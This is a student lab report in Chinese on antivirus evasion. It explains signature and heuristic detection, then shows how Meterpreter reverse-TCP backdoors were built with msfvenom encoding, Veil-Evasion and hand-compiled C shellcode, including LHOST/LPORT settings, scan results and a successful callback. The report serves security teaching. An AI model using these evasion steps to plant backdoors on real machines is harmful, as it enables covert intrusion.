2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践
报告内容
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的 ?
1:基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2.启发式恶意软件检测
在课堂上,老师让王昊同学翻译了这个句子。
也就是代表了启发式恶意软件检测
When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.
(2)免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
1.改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的
2.改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。
3.非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。
实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
一、msfvenom直接生成meterpreter可执行文件
首先我们还是要查看主机和虚拟机的IP地址
虚拟机IP
主机IP
生成的后门程序如下:
我们发现必须将后门名称修改后才可以继续进行扫描,我将后门名字改成了155309
在http://www.virscan.org/
网址上对自己的后门程序进行扫描
二、Msfvenom使用编码器生成meterpreter可执行文件
(一)一次编码
1.在虚拟机中生成可执行文件20155309_backdoor.exe
2.将可执行文件传到主机中
3.在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来。
看到还是19/39的软件能够查到病毒
(二)多次编码
1.在虚拟机中将恶意代码编译十次
2.从虚拟机将文件传到主机
3.检测出有21/39的杀软查出了病毒,看来杀软对于多次编码的病毒大部分还是能够防御的
三、使用Veil-Evasion生成可执行文件
1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:
首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示
第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:
点击system中的sharling即可。
第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil;接着进入veil-evasion,在veil中输入命令:use evasion,如下图所示:
查看kali虚拟机的IP地址:
3.输入命令:use python/meterpreter/rev_tcp.py用python
语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):
4.设置反弹连接IP,命令为:set LHOST 127.0.0.1,注意此处的IP是KaliIP;
5.设置端口,命令为:set LPORT 5309
6.输入generate生成文件,接着输入你想要playload的名字:playload5309
选择第一种默认方式生成:1
这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,在第一种方法中把use python/meterpreter/rev_tcp.py
改成use c/meterpreter/rev_tcp.py
,其他步骤完全相同。
去/var/lib/veil/output/compiled/playload5309.exe
这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5309.exe
把这个文件复制到我们熟悉的路径下
C语言调用Shellcode版本
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=5309 -f c
用c语言生成一段shellcode;
将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VS编译运行
回连
回连成功
实践总结与体会
这次实验我觉得自己最大的体会就是,虽然以前设想过如果是个人编出的一个恶意代码,因为它的小众化所以不会流行在市面上以至于被杀毒软件加进病毒库中,没有想过这样的想法是非常容易实现的。但是从另一个方面,恶意代码虽然可以想办法绕过甚至骗过我们安装的各种杀毒软件,但它始终会在我们的电脑里留下痕迹,比如电脑莫名的卡,或是在某个文件夹下莫名出现之前并没有安装的程序等等。提高我们的防范意识,可能不能完全解决恶意代码的入侵,但是能够一定程度上的限制恶意代码。
2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- Exp3 免杀原理与实践 20164303 景圣
Exp3 免杀原理与实践 一.实验内容 1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 2. 通过组合 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告 实验前准备 安装Veil-Evasion 直接使用Kali快速安装命令,拒绝采用git安装命令 apt-get -y install veil-e ...
- 20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践 基础问题 (1)杀软是如何检测出恶意代码的? 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
随机推荐
- JavaSE学习总结(六)——接口、抽象类、内部类
一.不需要实例化的原因 看一个示例: package com.zhangguo.chapter5.s1; /**动物园*/ public class Zoo { public static void ...
- git协同开发
当你从远程仓库克隆时,实际上Git自动把本地的master分支和远程的master分支对应起来了,并且,远程仓库的默认名称是origin. 要查看远程库的信息,用git remote: [root@w ...
- nodejs实现新闻爬虫
作为费德勒的铁杆粉丝,每天早上都会在新浪体育里面的网球频道浏览费德勒新闻.由于只关注费德勒的新闻,所以每次都要在网页中大量的新闻中筛选相关信息,感觉效率好低,所以用node写了一个简单的爬虫程序通过每 ...
- 动态生成js数据Response.Expires=1440竟然无效?
项目当中有一些数据,比如多语言翻译,要求做语言包,起初当然是做成i18n.js文件,但是每个阶段版本更新都会增加一些key,那么发布的时候只能给<script>的src增加?2018091 ...
- WebStrom设置默认浏览器
- Java EE之Hibernate异常总结【3】Disabling contextual LOB creation as createClob() method threw error java.lang.reflect.InvocationTargetException
参考文献:https://stackoverflow.com/questions/4588755/disabling-contextual-lob-creation-as-createclob-met ...
- adb的使用
前面配置了环境变量,可以在计算机任何位置打开cmd窗口使用adb. 连接android应用 使用connect命令连接盒子的ip(要确保电脑所连接的网络和盒子是一个网络) 抓日志 抓取某一个操作过程的 ...
- kan
http://blog.csdn.net/yahohi/article/details/7427724 http://duanhengbin.iteye.com/blog/1706635 http:/ ...
- JavaScript学习 - 基础(六) - DOM基础操作
DOM: DOM定义了访问HTML 和XML 文档的标准:1.核心DOM 针对结构化文档的标准模型2.XMK DOM 针对XML文档的标准模型3.HTML DOM 针对HTML文档的标准模型 DOM节 ...
- 操作系统笔记(六)页面置换算法 FIFO法 LRU最近最久未使用法 CLOCK法 二次机会法
前篇在此: 操作系统笔记(五) 虚拟内存,覆盖和交换技术 操作系统 笔记(三)计算机体系结构,地址空间.连续内存分配(四)非连续内存分配:分段,分页 内容不多,就不做index了. 功能:当缺页中断发 ...